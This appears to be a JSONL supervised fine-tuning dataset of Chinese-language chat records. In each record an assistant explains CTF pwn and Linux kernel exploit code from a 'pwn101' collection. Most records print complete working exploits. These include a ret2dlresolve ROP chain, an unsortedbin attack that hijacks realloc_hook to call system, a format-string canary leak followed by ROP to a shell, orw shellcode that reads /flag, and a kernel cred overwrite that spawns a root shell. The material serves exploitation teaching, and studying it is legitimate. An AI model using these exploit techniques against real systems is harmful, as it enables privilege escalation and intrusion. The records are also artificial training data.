//判断是否为子进程\n        write(fd2,buf,32);      //覆盖cred结构体\n        if(getuid()==0){\n            printf(\"Hacked\\n\");\n            system(\"/bin/sh\\n\");\n            return 0;\n        }\n    }else{\n        //等待子进程结束\n        wait(NULL);\n    }\n\n    close(fd2);\n\n    return 0;\n}\n```", "role": "assistant"}], "metadata": {"category": "kernel", "ctf_score": 28, "ctf_task_type": "pwn", "original_id": "pwn101-code-609d14bd2b917bc2", "original_line": 330, "original_split": "train", "record_type": "code_explanation", "source_dataset": "pwn101_distilled_v1", "source_path": "Kernel/ciscn2017-babydriver/exp_cred.c", "split": "train", "split_group_key": "daab7b8db4870827a0dba2b2"}, "source_dataset": "pwn101_distilled_v1", "source_path": "Kernel/ciscn2017-babydriver/exp_cred.c", "split": "train", "type": "ctf_lora_sft"}
{"category": "seccomp", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-f6dd1dd1538fe773c634", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "解释 `Seccomp绕过/seccomp.c` 这个 CTF pwn/kernel exploit 代码示例的结构。请指出运行环境、交互封装、泄漏/写入/触发阶段、关键常量，以及代码适合训练模型学习的模式。", "role": "user"}, {"content": "文件：`Seccomp绕过/seccomp.c`\n\n分类：seccomp\n\n语言：c\n\n环境/依赖线索：\n- `#include `\n- `#include `\n\n函数/封装：\n- `main`\n\n利用主题关键词：\n- seccomp/orw\n\n训练用代码片段：\n```c\n#include \n#include \n\nint main(int argc, char *argv[])\n{\n  scmp_filter_ctx ctx;\n  ctx=seccomp_init(SCMP_ACT_ALLOW);\n\n  seccomp_arch_add(ctx,SCMP_ARCH_X86_64);\n  seccomp_rule_add(ctx,SCMP_ACT_KILL,SCMP_SYS(execve),0);\n  seccomp_load(ctx);\n\n  char *args={\"/bin/sh\",\"-i\",NULL};\n  execve(args[0],args,NULL);\n\n  return 0;\n}\n```", "role": "assistant"}], "metadata": {"category": "seccomp", "ctf_score": 28, "ctf_task_type": "pwn", "original_id": "pwn101-code-747425ec0faf46fb", "original_line": 507, "original_split": "train", "record_type": "code_explanation", "source_dataset": "pwn101_distilled_v1", "source_path": "Seccomp绕过/seccomp.c", "split": "train", "split_group_key": "ff79d16030f964b23a79224e"}, "source_dataset": "pwn101_distilled_v1", "source_path": "Seccomp绕过/seccomp.c", "split": "train", "type": "ctf_lora_sft"}
{"category": "heap", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-f6f0242e9ca2388e2592", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "请讲解 CTF pwn/二进制安全知识点「Exploit」。\n资料来源：Heap/2024ylb-ezheap/writeup.md；主题：2024ylb-ezheap；分类：heap。\n要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。", "role": "user"}, {"content": "## Exploit\n\n本地运行时不要用环境变量 `LD_PRELOAD=./libc-2.31.so`，否则 `system('/bin/sh')` 生成的 shell 会继承旧 libc，可能启动失败。这里使用 `ld.so --preload`，只影响目标进程本身。\n\n```python\n#!/usr/bin/env python3\nfrom pwn import *\nimport os\n\nelf = ELF('./pwn')\nlibc = ELF('./libc-2.31.so')\ncontext(os=elf.os, arch=elf.arch, log_level='info')\n\nld_path = '/tools/binary/glibc-all-in-one/libs/2.31/64/ld-2.31.so'\n\n\ndef start():\n    if args.REMOTE:\n        host = args.HOST or 'TARGET_IP'\n        port = int(args.PORT or 9999)\n        return remote(host, port)\n    # Do not use env={\"LD_PRELOAD\": ...}: system('/bin/sh') would inherit it,\n    # and the spawned host shell can fail with the old challenge libc.\n    # ld.so --preload affects only this exec, so the final shell is clean.\n    if os.path.exists(ld_path):\n        return process([ld_path, '--preload', './libc-2.31.so', elf.path])\n    return process([elf.path], env={'LD_PRELOAD': './libc-2.31.so'})\n\n\nio = start()\n\nmenu = b'Input your choice'\n\n\ndef add(size, content):\n    io.sendlineafter(menu, b'1')\n    io.sendlineafter(b'Size :', str(size).encode())\n    io.sendafter(b'Content :', content)\n\n\ndef delete(idx):\n    io.sendlineafter(menu, b'2')\n    io.sendlineafter(b'Index :', str(idx).encode())\n\n\ndef edit(content):\n    io.sendlineafter(menu, b'3')\n    io.sendafter(b'content :', content)\n\n\ndef show(idx):\n    io.sendlineafter(menu, b'4')\n    io.sendlineafter(b'Index :', str(idx).encode())", "role": "assistant"}], "metadata": {"category": "heap", "ctf_score": 30, "ctf_task_type": "pwn", "original_id": "pwn101-doc-ba7510de820e502c", "original_line": 53, "original_split": "train", "record_type": "doc_section", "source_dataset": "pwn101_distilled_v1", "source_path": "Heap/2024ylb-ezheap/writeup.md", "split": "train", "split_group_key": "e6e49a34b13c4025336aabf4"}, "source_dataset": "pwn101_distilled_v1", "source_path": "Heap/2024ylb-ezheap/writeup.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "stack", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-f7a390781027af277ecb", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "解释 `Stack/ret2dlresolve/dl_resolve_64/64位/stage6_original.py` 这个 CTF pwn/kernel exploit 代码示例的结构。请指出运行环境、交互封装、泄漏/写入/触发阶段、关键常量，以及代码适合训练模型学习的模式。", "role": "user"}, {"content": "文件：`Stack/ret2dlresolve/dl_resolve_64/64位/stage6_original.py`\n\n分类：stack\n\n语言：python\n\n环境/依赖线索：\n- `from pwn import *`\n\n函数/封装：\n- `makecall`\n\n利用主题关键词：\n- seccomp/orw\n- stack/rop\n\n关键常量/偏移样例：\n`0x100`, `0x1c8`, `0x800`, `0x4002c0`, `0x400398`, `0x400470`, `0x400510`, `0x4005e0`, `0x400676`, `0x4006ab`, `0x400790`, `0x4007AA`, `0x4007b3`, `0x601008`\n\n训练用代码片段：\n```python\n#!/usr/bin/python\n#coding:utf-8\nfrom pwn import *\n\n#需修改:文件名、溢出偏移、gadget地址、各节地址\nfpath = './bof'\noffset = 112\nlength = 0x100\nstack_size = 0x800\nmain_addr=0x400676\np6_addr=0x4007AA\ncall_addr=0x400790\nleave_ret=0x4006ab\np_rbp_ret=0x4005e0\np_rdi_ret=0x4007b3\n\nelf = ELF(fpath)\nwrite_got=elf.got['write']\nread_got=elf.got['read']\nread_plt = elf.plt['read']\nwrite_plt = elf.plt['write']\ngot_8=elf.get_section_by_name('.got.plt').header.sh_addr+8   #0x601008\nbss_addr =elf.get_section_by_name('.bss').header.sh_addr\nbase_stage = bss_addr + stack_size\n#print 'got_8=',hex(got_8)\n\ndef makecall(addr, rdi, rsi, rdx, tail = 0):\n    payload = ''\n    payload += p64(p6_addr)\n    payload += p64(0x0)\n    payload += p64(0x1)\n    payload += p64(addr)\n    payload += p64(rdx)\n    payload += p64(rsi)\n    payload += p64(rdi)\n    payload += p64(call_addr)\n    if (tail):\n        payload += p64(0x0) * 7 + p64(tail)\n    return payload\n\np = process(fpath)\nprint p.recv()        # 'Welcome to XDCTF2015~!\\n'\n#1.泄露&link_map地址\npayload='\\x00'*offset\npayload+='\\x00'*8\npayload+=makecall(write_got,1,got_8,8,tail=main_addr)\npayload=payload.ljust(0x100,'\\x00')\np.send(payload)\nlink_map = u64(p.recv(8))\nprint 'link_map=',hex(link_map)\n\n#2.往link_map+0x1c8写0\npayload='\\x00'*offset\npayload+='\\x00'*8\npayload+=makecall(read_got,0,link_map+0x1c8,8,tail=main_addr)\npayload=payload.ljust(0x100,'\\x00')\np.send(payload)\np.send(p64(0))\n\n#3.往base_stage写入伪造结构并跳过去\npayload='\\x00'*offset\npayload+='\\x00'*8\npayload+=makecall(read_got,0,base_stage,0xd0,tail=0)   #假设结构大小是400\npayload+=p64(0)*2+p64(base_stage)+p64(0)*4\npayload+=p64(leave_ret)\npayload=payload.ljust(0x100,'\\x00')\np.send(payload)\n\n\n#4.bss数据：rop-参数放在寄存器/ 伪造结构\n#(1)确定各个节的地址\ncmd = \"/bin/sh\"\nplt_0 = 0x400510 # objdump -d -j .plt bof\nrel_plt = 0x400470 # objdump -s -j .rela.plt bof\nwrite_got = elf.got['write']\ndynsym = 0x4002c0 #readelf -S bof\ndynstr = 0x400398\n#(2)确定重定位下标\nindex_offset = base_stage + 7*8\nalign = 24 - ((index_offset-rel_plt) % 24)  # 这里的对齐操作是因为dynsym里的ELF64_R_SYM结构体都是24字节大小\nindex_offset = index_offset + align\nindex = (index_offset - rel_plt) / 24 # base_stage + 7*8 指向fake_reloc，减去rel_plt即偏移\n#(3)确定动态链接符号下标\nfake_sym_addr = base_stage + 13*8\nalign = 24 - ((fake_sym_addr - dynsym) % 24)# 这里的对齐操作是因为dynsym里的Elf64_Sym结构体都是24字节大小\nfake_sym_addr = fake_sym_addr + align\nindex_dynsym = (fake_sym_addr - dynsym) / 24 # 除以24因为Elf64_Sym结构体的大小为24，得到write的dynsym索引号\n#(4)伪造重定位结构+动态链接结构\nr_info = (index_dynsym << 32) | 0x7\nfake_reloc = p64(write_got) + p64(r_info) + p64(0)\nst_name = (fake_sym_addr + 24) - dynstr   #fake_sym（Elf32_Sym结构体）大小0x10\nfake_sym = p32(st_name) + p32(0x12) + p64(0) + p64(0)\n\npayload2 = 'AAAAAAAA'\npayload2 += p64(p_rdi_ret)\npayload2 += p64(base_stage+0xc0)   #/bin/sh\npayload2 += p64(plt_0)\npayload2 += p64(index)       #jmprel 下标参数\npayload2 += 'AAAAAAAA'       #返回地址\npayload2 += 'aaaaaaaa'\n\npayload2 = payload2.ljust(index_offset-base_stage,'B')\npayload2 += fake_reloc # index_offset(base_stage+7*8)的位置\npayload2 = payload2.ljust(fake_sym_addr-base_stage,'B')\npayload2 += fake_sym   # fake_sym_addr(base_stage+9*8)的位置\n\npayload2 += \"system\\x00\"\npayload2 = payload2.ljust(0xc0,'\\x00')\npayload2 += cmd + '\\x00'\npayload2 = payload2.ljust(0xd0,'\\x00')\n#gdb.attach(p,'b *0x4006ab')\n#raw_input('wait!!\\n')\np.send(payload2)\np.interactive()\n```", "role": "assistant"}], "metadata": {"category": "stack", "ctf_score": 30, "ctf_task_type": "pwn", "original_id": "pwn101-code-de5020e6c4878b26", "original_line": 539, "original_split": "train", "record_type": "code_explanation", "source_dataset": "pwn101_distilled_v1", "source_path": "Stack/ret2dlresolve/dl_resolve_64/64位/stage6_original.py", "split": "train", "split_group_key": "31f278bdae138db17e6236a6"}, "source_dataset": "pwn101_distilled_v1", "source_path": "Stack/ret2dlresolve/dl_resolve_64/64位/stage6_original.py", "split": "train", "type": "ctf_lora_sft"}
{"category": "seccomp", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-f8044ef9fa0f1d267ac3", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "解释 `Seccomp绕过/2024ylb-orw/exp_cli.py` 这个 CTF pwn/kernel exploit 代码示例的结构。请指出运行环境、交互封装、泄漏/写入/触发阶段、关键常量，以及代码适合训练模型学习的模式。", "role": "user"}, {"content": "文件：`Seccomp绕过/2024ylb-orw/exp_cli.py`\n\n分类：seccomp\n\n语言：python\n\n环境/依赖线索：\n- `from pwncli import *`\n\n利用主题关键词：\n- io-file/fsop\n- seccomp/orw\n\n关键常量/偏移样例：\n`0x100`\n\n训练用代码片段：\n```python\n#!/usr/bin/env python3\nfrom pwncli import *\ncli_script()\n\nio: tube = gift.io\nelf: ELF = gift.elf\n\nshellcode=asm(shellcraft.openat(0,'/flag')+shellcraft.sendfile(1,3,0,0x100))\nprint(len(shellcode))\npayload=shellcode\nr()\nsl(payload)\n\nia()\n```", "role": "assistant"}], "metadata": {"category": "seccomp", "ctf_score": 32, "ctf_task_type": "pwn", "original_id": "pwn101-code-3b7bb24bba73d8fe", "original_line": 499, "original_split": "train", "record_type": "code_explanation", "source_dataset": "pwn101_distilled_v1", "source_path": "Seccomp绕过/2024ylb-orw/exp_cli.py", "split": "train", "split_group_key": "1c9cfe675c53e60cef1dafa8"}, "source_dataset": "pwn101_distilled_v1", "source_path": "Seccomp绕过/2024ylb-orw/exp_cli.py", "split": "train", "type": "ctf_lora_sft"}
{"category": "heap", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-f84d859828f20106092d", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "请讲解 CTF pwn/二进制安全知识点「漏洞点」。\n资料来源：Heap/off-by-one/2024ylb-null/WP.md；主题：2024ylb-null Writeup；分类：heap。\n要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。", "role": "user"}, {"content": "## 漏洞点\n\n漏洞在 `vuln()` 的按字节读取逻辑。伪代码如下：\n\n```c\nvoid vuln(char *buf, int size) {\n    char *p = buf;\n    int i = 0;\n\n    while (read(0, p, 1) == 1) {\n        if (*p == '\\n')\n            break;\n        p++;\n        if (i == size)\n            break;\n        i++;\n    }\n    *p = '\\0';\n}\n```\n\n如果申请大小为 `0x68`，向 `edit()` 发送正好 `0x68` 字节数据后，`sendline()` 附加的换行会被读到 `buf + 0x68`，随后写入 `\\x00`。这相当于对下一个 chunk header 的最低字节做 off-by-null。\n\n本题的利用核心是：在 0x70 大小 chunk 后方放置 0x100 大小 chunk，通过 off-by-null 清掉后方 chunk 的 `PREV_INUSE` 位，并伪造 `prev_size`，触发向后合并，制造 overlapping chunk。", "role": "assistant"}], "metadata": {"category": "heap", "ctf_score": 34, "ctf_task_type": "pwn", "original_id": "pwn101-doc-7373a8e881148d5a", "original_line": 117, "original_split": "train", "record_type": "doc_section", "source_dataset": "pwn101_distilled_v1", "source_path": "Heap/off-by-one/2024ylb-null/WP.md", "split": "train", "split_group_key": "d6b6a0a5a29a7b1892b4d993"}, "source_dataset": "pwn101_distilled_v1", "source_path": "Heap/off-by-one/2024ylb-null/WP.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "kernel", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-f89911ce08587f23bb2b", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "解释 `Kernel/CVE-2026-53362_lts/exploit/lts-6.12.85/libxdk-v0.1/xdk/util/pwn_utils.h` 这个 CTF pwn/kernel exploit 代码示例的结构。请指出运行环境、交互封装、泄漏/写入/触发阶段、关键常量，以及代码适合训练模型学习的模式。", "role": "user"}, {"content": "文件：`Kernel/CVE-2026-53362_lts/exploit/lts-6.12.85/libxdk-v0.1/xdk/util/pwn_utils.h`\n\n分类：kernel\n\n语言：c\n\n环境/依赖线索：\n- `#include `\n\n利用主题关键词：\n- io-file/fsop\n\n训练用代码片段：\n```c\n/*\n * Copyright 2025 Google LLC\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *     http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\n#pragma once\n\n#include \n\n/**\n * @defgroup util_classes Utility Classes\n * @brief Helper classes for various utilities.\n */\n\n/**\n * @ingroup util_classes\n * @brief Checks if the provided address is a valid KASLR base address.\n *\n * @param kbase_addr The address to check.\n * @return True if the address is a valid KASLR base, false otherwise.\n */\nbool is_kaslr_base(uint64_t kbase_addr);\n\n/**\n * @ingroup util_classes\n * @brief Checks if the provided address is a valid KASLR base address.\n *\n * @param kbase_addr The address to check.\n * @return The checked KASLR base address if valid.\n */\nuint64_t check_kaslr_base(uint64_t kbase_addr);\n\n/**\n * @ingroup util_classes\n * @brief Checks if the provided address is a valid kernel heap pointer.\n *\n * @param heap_leak The address to check.\n * @return The checked kernel heap pointer if valid.\n */\nuint64_t check_heap_ptr(uint64_t heap_leak);\n```", "role": "assistant"}], "metadata": {"category": "kernel", "ctf_score": 28, "ctf_task_type": "pwn", "original_id": "pwn101-code-fc3181af5f60aaf2", "original_line": 315, "original_split": "train", "record_type": "code_explanation", "source_dataset": "pwn101_distilled_v1", "source_path": "Kernel/CVE-2026-53362_lts/exploit/lts-6.12.85/libxdk-v0.1/xdk/util/pwn_utils.h", "split": "train", "split_group_key": "1039801ffb7143970c0f4fdf"}, "source_dataset": "pwn101_distilled_v1", "source_path": "Kernel/CVE-2026-53362_lts/exploit/lts-6.12.85/libxdk-v0.1/xdk/util/pwn_utils.h", "split": "train", "type": "ctf_lora_sft"}
{"category": "kernel", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-f9b63e8ba7176032ea1a", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "请讲解 CTF pwn/二进制安全知识点「2. 漏洞 primitive」。\n资料来源：Kernel/2026d3ctf-d3kheap2pro/ROOT_ANALYSIS.md；主题：d3kheap2pro root 提权可行性分析；分类：kernel。\n要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。", "role": "user"}, {"content": "### 2. 漏洞 primitive\n\n```text\nalloc(0)  -> refcnt = 2, ptr = object A\nfree(0)   -> refcnt = 1, object A freed, ptr still A\nfree(0)   -> refcnt = 0, object A freed again\n```\n\n模块没有对象内容读写接口，因此 primitive 起点是 double-free / dangling-slot，而不是直接 UAF read/write。", "role": "assistant"}], "metadata": {"category": "kernel", "ctf_score": 30, "ctf_task_type": "pwn", "original_id": "pwn101-doc-705ad50be2f27be1", "original_line": 371, "original_split": "train", "record_type": "doc_section", "source_dataset": "pwn101_distilled_v1", "source_path": "Kernel/2026d3ctf-d3kheap2pro/ROOT_ANALYSIS.md", "split": "train", "split_group_key": "4f4730adc8ab5a373a40a258"}, "source_dataset": "pwn101_distilled_v1", "source_path": "Kernel/2026d3ctf-d3kheap2pro/ROOT_ANALYSIS.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "heap", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-f9def710362785146dd6", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "解释 `Heap/unsortedbin attack/zerostorage/exp.py` 这个 CTF pwn/kernel exploit 代码示例的结构。请指出运行环境、交互封装、泄漏/写入/触发阶段、关键常量，以及代码适合训练模型学习的模式。", "role": "user"}, {"content": "文件：`Heap/unsortedbin attack/zerostorage/exp.py`\n\n分类：heap\n\n语言：python\n\n环境/依赖线索：\n- `from pwn import *`\n\n函数/封装：\n- `dbg`\n- `delete`\n- `insert`\n- `merge`\n- `update`\n\n利用主题关键词：\n- heap/tcache\n- seccomp/orw\n\n关键常量/偏移样例：\n`0x203060`, `0x3a1678`, `0x5ca000`, `0x555555757060`, `0x7ffff7a76560`, `0x7ffff7dd6608`, `0x7ffff7dd6678`, `0x7ffff7dd8860`\n\n训练用代码片段：\n```python\n#!/usr/bin/env python3\nfrom pwn import *\n\ndef dbg(c=0):\n    if c:\n        gdb.attach(io, c)\n    else:\n        gdb.attach(io)\n        pause()\n\ns = lambda data: io.send(data)\nsa = lambda text, data: io.sendafter(text, data)\nsl = lambda data: io.sendline(data)\nsla = lambda text, data: io.sendlineafter(text, data)\nr = lambda num=4096: io.recv(num)\nru = lambda text: io.recvuntil(text)\npr = lambda num=4096: print(io.recv(num))\nia = lambda: io.interactive()\nic = lambda: io.close()\nl32 = lambda: u32(io.recvuntil(b'\\xf7')[-4:].ljust(4, b'\\x00'))\nl64 = lambda: u64(io.recvuntil(b'\\x7f')[-6:].ljust(8, b'\\x00'))\nuu32 = lambda: u32(io.recv(4).ljust(4, b'\\x00'))\nuu64 = lambda: u64(io.recv(6).ljust(8, b'\\x00'))\nint16 = lambda data: int(data, 16)\nlg = lambda s, num: io.success('%s -> 0x%x' % (s, num))\n\nelf = ELF('./zerostorage')\nlibc = ELF('./libc.so.6')\np = process([elf.path])\ncontext(os=elf.os, arch=elf.arch, log_level='debug')\ncontext.terminal = ['cmd.exe', '/c', 'start', '\"\"', 'wt.exe', 'wsl', '-e', 'bash', '-lc']\n\ndef insert(length, data=''):\n    data = data.ljust(length, 'A')\n    p.recvuntil('Your choice: ')\n    p.sendline('1')\n    p.sendline(str(length))\n    p.send(data)\n\ndef update(idx, length, data=''):\n    data = data.ljust(length, 'B')\n    p.recvuntil('Your choice: ')\n    p.sendline('2')\n    p.sendline(str(idx))\n    p.sendline(str(length))\n    p.send(data)\n\ndef merge(fro, to):\n    p.recvuntil('Your choice: ')\n    p.sendline('3')\n    p.sendline(str(fro))\n    p.sendline(str(to))\n\ndef delete(idx):\n    p.recvuntil('Your choice: ')\n    p.sendline('4')\n    p.sendline(str(idx))\n\nlibc_max_fast = 0x7ffff7dd8860\nlibc_unsorted_bin = 0x7ffff7dd6678\nlibc_reallochook = 0x7ffff7dd6608\nlibc_system = 0x7ffff7a76560\nzero_entry_head = 0x555555757060\nunsorted_bin_offset = 0x3a1678\nmodule_offset = 0x5ca000\nhead_offset = 0x203060\n\ninsert(8)                   # 0\ninsert(8, '/bin/sh;')       # 0, 1\ninsert(8)                   # 0, 1, 2\ninsert(8)                   # 0, 1, 2, 3\ninsert(8)                   # 0, 1, 2, 3, 4\ninsert(0x90)                # 0, 1, 2, 3, 4, 5\ndelete(0)                   # 1, 2, 3, 4, 5\nmerge(2,2)                  # 0, 1, 3, 4, 5\n\np.sendline('5')\np.sendline('0')\np.recvuntil('Entry No.0:\\n')\nheap = u64(p.recv(8))\nunsorted_bin = u64(p.recv(8))\nlibc = unsorted_bin - libc_unsorted_bin\nmax_fast = libc + libc_max_fast\nsystem = libc + libc_system\nreallochook = libc + libc_reallochook\nentry_head = unsorted_bin - unsorted_bin_offset + module_offset + head_offset\n\ninsert(8)      # 0, 1, 2, 3, 4, 5\n\n# overwrite global_max_fast\nupdate(0, 16, b'C'*8 + p64(max_fast - 0x10))\ninsert(8)      # 0, 1, 2, 3, 4, 5, 6\n\n# free, put into \"fast bin\"\nmerge(3,3)     # 0, 1, 2, 4, 5, 6, 7\n# overwrite fd to bss\nupdate(7, 16, p64(entry_head + 24 * 5))\n\n# get the fake chunk\ninsert(8)      # 0, 1, 2, 3, 4, 5, 6, 7\n\n# get chunk again, pivot into bss\n# no.8 will point to no.5's data, we should overlap into no.8 itself to get the key\ninsert(80)     # 0, 1, 2, 3, 4, 5, 6, 7, 8\n\n# leak the key\np.sendline('5')\np.sendline('8')\np.recvuntil('Entry No.8:\\n')\nchunk8 = p.recv(80)\nkey = u64(chunk8[-8:]) ^ (entry_head + 24 * 5 + 16)\np.success('[+] Got key: %#x' % key)\n\n# overwrite no.6 to realloc_hook\nupdate(8, 80, p64(0) + p64(1) + p64(8) + p64(reallochook ^ key))\n\n# edit no.6\nupdate(6, 8, p64(system))\n\n# realloc no.1, get shell\nupdate(1, 130)\n\np.sendline('')\nia()\n```", "role": "assistant"}], "metadata": {"category": "heap", "ctf_score": 28, "ctf_task_type": "pwn", "original_id": "pwn101-code-3836d7086ef96734", "original_line": 46, "original_split": "train", "record_type": "code_explanation", "source_dataset": "pwn101_distilled_v1", "source_path": "Heap/unsortedbin attack/zerostorage/exp.py", "split": "train", "split_group_key": "c94c82295ec071f5bd32265b"}, "source_dataset": "pwn101_distilled_v1", "source_path": "Heap/unsortedbin attack/zerostorage/exp.py", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc_vuln", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-fa589fce9bd3401393bc", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "解释 `其它漏洞/格式化字符串/栈数据泄露/[安洵杯 2021]stack/exp.py` 这个 CTF pwn/kernel exploit 代码示例的结构。请指出运行环境、交互封装、泄漏/写入/触发阶段、关键常量，以及代码适合训练模型学习的模式。", "role": "user"}, {"content": "文件：`其它漏洞/格式化字符串/栈数据泄露/[安洵杯 2021]stack/exp.py`\n\n分类：misc_vuln\n\n语言：python\n\n环境/依赖线索：\n- `from pwncli import *`\n- `from LibcSearcher import *`\n\n利用主题关键词：\n- stack/rop\n\n关键常量/偏移样例：\n`0xb24`, `0x00000000000007c1`, `0x0000000000000b03`\n\n训练用代码片段：\n```python\n#!/usr/bin/python3\nfrom pwncli import *\nfrom LibcSearcher import *\n\ncli_script()\nio=gift[\"io\"]\nelf=gift[\"elf\"]\n\npay=\"%11$p-%17$p\"\nsl(pay)\n\ncanary=int(r(18),16)\nsuccess(hex(canary))\nru(b'-')\nbase=int(r(14),16)-elf.sym.main\nsuccess(hex(base))\n\nrdi=0x0000000000000b03+base\nret=0x00000000000007c1+base\nsh=0xb24+base\n\noff=0x18\nsys=elf.sym.system+base\n\npayload=b'a'*off+p64(canary)+p64(123)+p64(rdi)+p64(sh)+p64(ret)+p64(sys)\nsla(\"--+--\\n\",payload)\n\nia()\n```", "role": "assistant"}], "metadata": {"category": "misc_vuln", "ctf_score": 32, "ctf_task_type": "pwn", "original_id": "pwn101-code-fc9ef105454823de", "original_line": 466, "original_split": "train", "record_type": "code_explanation", "source_dataset": "pwn101_distilled_v1", "source_path": "其它漏洞/格式化字符串/栈数据泄露/[安洵杯 2021]stack/exp.py", "split": "train", "split_group_key": "29b17d2c6a99ca7cd0e499db"}, "source_dataset": "pwn101_distilled_v1", "source_path": "其它漏洞/格式化字符串/栈数据泄露/[安洵杯 2021]stack/exp.py", "split": "train", "type": "ctf_lora_sft"}
{"category": "io_file", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-fb6392f436c17e4f87ad", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "请讲解 CTF pwn/二进制安全知识点「题目信息」。\n资料来源：IO-FILE/house of apple2/2024pcb babyheap/WP.md；主题：2024PCB babyheap WP；分类：io_file。\n要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。", "role": "user"}, {"content": "## 题目信息\n\n```text\nArch:   amd64\nRELRO:  Full RELRO\nCanary: Yes\nNX:     Yes\nPIE:    Yes\nLibc:   glibc 2.35 / Ubuntu 22.04\n```\n\n程序是一个很常规的堆菜单题：\n\n```text\n1.add\n2.dele\n3.show\n4.edit\n```\n\n全局区里有一个 `book` 数组，每个元素 0x10 字节：\n\n```c\nstruct item {\n    char *ptr;\n    size_t size;\n};\n\nitem book[0x15];\n```\n\n关键全局地址关系如下：\n\n```text\nfunc_list        0x4020\nstdout           0x4040   // R_X86_64_COPY，内容为 _IO_2_1_stdout_ 指针\nstdin            0x4050\nstderr           0x4060\nlibc_start       0x4080\nlibc_end         0x4088\nbook             0x40a0\nqword_41E0       0x41e0   // edit 使用次数，初始为 1\n```\n\n`book - stdout = 0x60`，刚好等于 6 个 `item`，这是本题走 House of Apple2 的核心。", "role": "assistant"}], "metadata": {"category": "io_file", "ctf_score": 32, "ctf_task_type": "pwn", "original_id": "pwn101-doc-284d55da556e0191", "original_line": 191, "original_split": "train", "record_type": "doc_section", "source_dataset": "pwn101_distilled_v1", "source_path": "IO-FILE/house of apple2/2024pcb babyheap/WP.md", "split": "train", "split_group_key": "fe49aac94cc72bab9c75b731"}, "source_dataset": "pwn101_distilled_v1", "source_path": "IO-FILE/house of apple2/2024pcb babyheap/WP.md", "split": "train", "type": "ctf_lora_sft"}
